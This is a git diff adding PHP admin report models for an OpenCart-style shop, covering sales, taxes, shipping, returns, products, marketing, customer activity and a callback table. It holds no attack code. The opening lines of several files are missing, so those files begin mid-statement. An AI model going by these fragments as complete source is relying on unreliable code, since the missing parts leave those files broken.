+ public function getTotalCustomerActivities($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "customer_activity` ca LEFT JOIN " . DB_PREFIX . "customer c ON (ca.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_date_start'])) {
+ $implode[] = "DATE(ca.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $implode[] = "DATE(ca.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if (!empty($data['filter_ip'])) {
+ $implode[] = "ca.ip LIKE '" . $this->db->escape($data['filter_ip']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getCustomerSearches($data = array()) {
+ $sql = "SELECT cs.customer_id, cs.keyword, cs.category_id, cs.products, cs.ip, cs.date_added, CONCAT(c.firstname, ' ', c.lastname) AS customer FROM " . DB_PREFIX . "customer_search cs LEFT JOIN " . DB_PREFIX . "customer c ON (cs.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_date_start'])) {
+ $implode[] = "DATE(cs.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $implode[] = "DATE(cs.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_keyword'])) {
+ $implode[] = "cs.keyword LIKE '" . $this->db->escape($data['filter_keyword']) . "%'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if (!empty($data['filter_ip'])) {
+ $implode[] = "cs.ip LIKE '" . $this->db->escape($data['filter_ip']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sql .= " ORDER BY cs.date_added DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalCustomerSearches($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "customer_search` cs LEFT JOIN " . DB_PREFIX . "customer c ON (cs.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_date_start'])) {
+ $implode[] = "DATE(cs.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $implode[] = "DATE(cs.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_keyword'])) {
+ $implode[] = "cs.keyword LIKE '" . $this->db->escape($data['filter_keyword']) . "%'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if (!empty($data['filter_ip'])) {
+ $implode[] = "cs.ip LIKE '" . $this->db->escape($data['filter_ip']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/extension/report/customer_transaction.php b/public/admin/model/extension/report/customer_transaction.php
new file mode 100644
index 0000000..02ca94e
--- /dev/null
+++ b/public/admin/model/extension/report/customer_transaction.php
@@ -0,0 +1,62 @@
+config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(ct.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(ct.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $sql .= " AND CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ $sql .= " GROUP BY ct.customer_id ORDER BY total DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalTransactions($data = array()) {
+ $sql = "SELECT COUNT(DISTINCT ct.customer_id) AS total FROM `" . DB_PREFIX . "customer_transaction` ct LEFT JOIN `" . DB_PREFIX . "customer` c ON (ct.customer_id = c.customer_id)";
+
+ $implode = array();
+
+ if (!empty($data['filter_date_start'])) {
+ $implode[] = "DATE(ct.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $implode[] = "DATE(ct.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/report/marketing.php b/public/admin/model/extension/report/marketing.php
new file mode 100644
index 0000000..0eba986
--- /dev/null
+++ b/public/admin/model/extension/report/marketing.php
@@ -0,0 +1,60 @@
+ '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o1.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o1.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $sql .= ") AS `orders`, (SELECT SUM(total) FROM `" . DB_PREFIX . "order` o2 WHERE o2.marketing_id = m.marketing_id";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o2.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o2.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o2.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o2.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $sql .= " GROUP BY o2.marketing_id) AS `total` FROM `" . DB_PREFIX . "marketing` m ORDER BY m.date_added ASC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalMarketing($data = array()) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "marketing`");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/report/product.php b/public/admin/model/extension/report/product.php
new file mode 100644
index 0000000..78a0ae0
--- /dev/null
+++ b/public/admin/model/extension/report/product.php
@@ -0,0 +1,96 @@
+config->get('config_language_id') . "' AND p.viewed > 0 ORDER BY p.viewed DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalProductViews() {
+ $query = $this->db->query("SELECT SUM(viewed) AS total FROM " . DB_PREFIX . "product");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsViewed() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product WHERE viewed > 0");
+
+ return $query->row['total'];
+ }
+
+ public function reset() {
+ $this->db->query("UPDATE " . DB_PREFIX . "product SET viewed = '0'");
+ }
+
+ public function getPurchased($data = array()) {
+ $sql = "SELECT op.name, op.model, SUM(op.quantity) AS quantity, SUM((op.price + op.tax) * op.quantity) AS total FROM " . DB_PREFIX . "order_product op LEFT JOIN `" . DB_PREFIX . "order` o ON (op.order_id = o.order_id)";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " WHERE o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $sql .= " GROUP BY op.product_id ORDER BY total DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalPurchased($data) {
+ $sql = "SELECT COUNT(DISTINCT op.product_id) AS total FROM `" . DB_PREFIX . "order_product` op LEFT JOIN `" . DB_PREFIX . "order` o ON (op.order_id = o.order_id)";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " WHERE o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/extension/report/return.php b/public/admin/model/extension/report/return.php
new file mode 100644
index 0000000..1afff7b
--- /dev/null
+++ b/public/admin/model/extension/report/return.php
@@ -0,0 +1,100 @@
+ '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(r.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(r.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (isset($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql .= " GROUP BY YEAR(r.date_added), MONTH(r.date_added), DAY(r.date_added)";
+ break;
+ default:
+ case 'week':
+ $sql .= " GROUP BY YEAR(r.date_added), WEEK(r.date_added)";
+ break;
+ case 'month':
+ $sql .= " GROUP BY YEAR(r.date_added), MONTH(r.date_added)";
+ break;
+ case 'year':
+ $sql .= " GROUP BY YEAR(r.date_added)";
+ break;
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalReturns($data = array()) {
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), MONTH(date_added), DAY(date_added)) AS total FROM `" . DB_PREFIX . "return`";
+ break;
+ default:
+ case 'week':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), WEEK(date_added)) AS total FROM `" . DB_PREFIX . "return`";
+ break;
+ case 'month':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), MONTH(date_added)) AS total FROM `" . DB_PREFIX . "return`";
+ break;
+ case 'year':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added)) AS total FROM `" . DB_PREFIX . "return`";
+ break;
+ }
+
+ if (!empty($data['filter_return_status_id'])) {
+ $sql .= " WHERE return_status_id = '" . (int)$data['filter_return_status_id'] . "'";
+ } else {
+ $sql .= " WHERE return_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/report/sale.php b/public/admin/model/extension/report/sale.php
new file mode 100644
index 0000000..21073f5
--- /dev/null
+++ b/public/admin/model/extension/report/sale.php
@@ -0,0 +1,438 @@
+ '0'";
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalOrdersByCountry() {
+ $query = $this->db->query("SELECT COUNT(*) AS total, SUM(o.total) AS amount, c.iso_code_2 FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "country` c ON (o.payment_country_id = c.country_id) WHERE o.order_status_id > '0' GROUP BY o.payment_country_id");
+
+ return $query->rows;
+ }
+
+ public function getTotalOrdersByDay() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 0; $i < 24; $i++) {
+ $order_data[$i] = array(
+ 'hour' => $i,
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, HOUR(date_added) AS hour FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) = DATE(NOW()) GROUP BY HOUR(date_added) ORDER BY date_added ASC");
+
+ foreach ($query->rows as $result) {
+ $order_data[$result['hour']] = array(
+ 'hour' => $result['hour'],
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByWeek() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ $date_start = strtotime('-' . date('w') . ' days');
+
+ for ($i = 0; $i < 7; $i++) {
+ $date = date('Y-m-d', $date_start + ($i * 86400));
+
+ $order_data[date('w', strtotime($date))] = array(
+ 'day' => date('D', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) >= DATE('" . $this->db->escape(date('Y-m-d', $date_start)) . "') GROUP BY DAYNAME(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('w', strtotime($result['date_added']))] = array(
+ 'day' => date('D', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByMonth() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 1; $i <= date('t'); $i++) {
+ $date = date('Y') . '-' . date('m') . '-' . $i;
+
+ $order_data[date('j', strtotime($date))] = array(
+ 'day' => date('d', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) >= '" . $this->db->escape(date('Y') . '-' . date('m') . '-1') . "' GROUP BY DATE(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('j', strtotime($result['date_added']))] = array(
+ 'day' => date('d', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByYear() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 1; $i <= 12; $i++) {
+ $order_data[$i] = array(
+ 'month' => date('M', mktime(0, 0, 0, $i)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND YEAR(date_added) = YEAR(NOW()) GROUP BY MONTH(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('n', strtotime($result['date_added']))] = array(
+ 'month' => date('M', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getOrders($data = array()) {
+ $sql = "SELECT MIN(o.date_added) AS date_start, MAX(o.date_added) AS date_end, COUNT(*) AS `orders`, SUM((SELECT SUM(op.quantity) FROM `" . DB_PREFIX . "order_product` op WHERE op.order_id = o.order_id GROUP BY op.order_id)) AS products, SUM((SELECT SUM(ot.value) FROM `" . DB_PREFIX . "order_total` ot WHERE ot.order_id = o.order_id AND ot.code = 'tax' GROUP BY ot.order_id)) AS tax, SUM(o.total) AS `total` FROM `" . DB_PREFIX . "order` o";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " WHERE o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added)";
+ break;
+ default:
+ case 'week':
+ $sql .= " GROUP BY YEAR(o.date_added), WEEK(o.date_added)";
+ break;
+ case 'month':
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added)";
+ break;
+ case 'year':
+ $sql .= " GROUP BY YEAR(o.date_added)";
+ break;
+ }
+
+ $sql .= " ORDER BY o.date_added DESC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalOrders($data = array()) {
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), MONTH(date_added), DAY(date_added)) AS total FROM `" . DB_PREFIX . "order`";
+ break;
+ default:
+ case 'week':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), WEEK(date_added)) AS total FROM `" . DB_PREFIX . "order`";
+ break;
+ case 'month':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added), MONTH(date_added)) AS total FROM `" . DB_PREFIX . "order`";
+ break;
+ case 'year':
+ $sql = "SELECT COUNT(DISTINCT YEAR(date_added)) AS total FROM `" . DB_PREFIX . "order`";
+ break;
+ }
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " WHERE order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " WHERE order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTaxes($data = array()) {
+ $sql = "SELECT MIN(o.date_added) AS date_start, MAX(o.date_added) AS date_end, ot.title, SUM(ot.value) AS total, COUNT(o.order_id) AS `orders` FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "order_total` ot ON (ot.order_id = o.order_id) WHERE ot.code = 'tax'";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added), ot.title";
+ break;
+ default:
+ case 'week':
+ $sql .= " GROUP BY YEAR(o.date_added), WEEK(o.date_added), ot.title";
+ break;
+ case 'month':
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), ot.title";
+ break;
+ case 'year':
+ $sql .= " GROUP BY YEAR(o.date_added), ot.title";
+ break;
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalTaxes($data = array()) {
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ default:
+ case 'week':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), WEEK(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ case 'month':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), MONTH(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ case 'year':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ }
+
+ $sql .= " LEFT JOIN `" . DB_PREFIX . "order_total` ot ON (o.order_id = ot.order_id) WHERE ot.code = 'tax'";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getShipping($data = array()) {
+ $sql = "SELECT MIN(o.date_added) AS date_start, MAX(o.date_added) AS date_end, ot.title, SUM(ot.value) AS total, COUNT(o.order_id) AS `orders` FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "order_total` ot ON (o.order_id = ot.order_id) WHERE ot.code = 'shipping'";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND o.order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND o.order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added), ot.title";
+ break;
+ default:
+ case 'week':
+ $sql .= " GROUP BY YEAR(o.date_added), WEEK(o.date_added), ot.title";
+ break;
+ case 'month':
+ $sql .= " GROUP BY YEAR(o.date_added), MONTH(o.date_added), ot.title";
+ break;
+ case 'year':
+ $sql .= " GROUP BY YEAR(o.date_added), ot.title";
+ break;
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalShipping($data = array()) {
+ if (!empty($data['filter_group'])) {
+ $group = $data['filter_group'];
+ } else {
+ $group = 'week';
+ }
+
+ switch($group) {
+ case 'day';
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), MONTH(o.date_added), DAY(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ default:
+ case 'week':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), WEEK(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ case 'month':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), MONTH(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ case 'year':
+ $sql = "SELECT COUNT(DISTINCT YEAR(o.date_added), ot.title) AS total FROM `" . DB_PREFIX . "order` o";
+ break;
+ }
+
+ $sql .= " LEFT JOIN `" . DB_PREFIX . "order_total` ot ON (o.order_id = ot.order_id) WHERE ot.code = 'shipping'";
+
+ if (!empty($data['filter_order_status_id'])) {
+ $sql .= " AND order_status_id = '" . (int)$data['filter_order_status_id'] . "'";
+ } else {
+ $sql .= " AND order_status_id > '0'";
+ }
+
+ if (!empty($data['filter_date_start'])) {
+ $sql .= " AND DATE(o.date_added) >= '" . $this->db->escape($data['filter_date_start']) . "'";
+ }
+
+ if (!empty($data['filter_date_end'])) {
+ $sql .= " AND DATE(o.date_added) <= '" . $this->db->escape($data['filter_date_end']) . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/theme/callback.php b/public/admin/model/extension/theme/callback.php
new file mode 100644
index 0000000..46d65a6
--- /dev/null
+++ b/public/admin/model/extension/theme/callback.php
@@ -0,0 +1,117 @@
+db->query("UPDATE " . DB_PREFIX . "callback SET comment = '" . $this->db->escape($data['comment']) . "', status_id = '" . (int)$data['status_id'] . "', date_modified = NOW() WHERE call_id = '" . (int)$callback_id . "'");
+ }
+
+
+ public function editCallbacks($callback_id) {
+ $this->db->query("UPDATE " . DB_PREFIX . "callback SET status_id = '1', date_modified = NOW() WHERE call_id = '" . (int)$callback_id . "'");
+
+
+ }
+
+ public function deleteCallback($callback_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "callback WHERE call_id = '" . (int)$callback_id . "'");
+
+
+ $this->cache->delete('callback');
+ }
+
+ public function getCallback($callback_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "callback WHERE call_id = '" . (int)$callback_id . "'");
+
+ return $query->row;
+ }
+
+ public function getCallbackNew() {
+ $query = $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "callback (call_id int(11) NOT NULL
+ primary key AUTO_INCREMENT,name varchar(30) NOT NULL,telephone varchar(30) NOT NULL,
+ date_added datetime NOT NULL,date_modified datetime NOT NULL,
+ status_id int(11) NOT NULL,comment text NOT NULL)");
+ $query = $this->db->query("SELECT COUNT(status_id) as total FROM " . DB_PREFIX . "callback WHERE status_id = '0'");
+
+ return $query->row;
+ }
+
+ public function getCallbacks($data = array()) {
+
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "callback";
+
+ $sort_data = array(
+ 'call_id',
+ 'name',
+ 'telephone'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
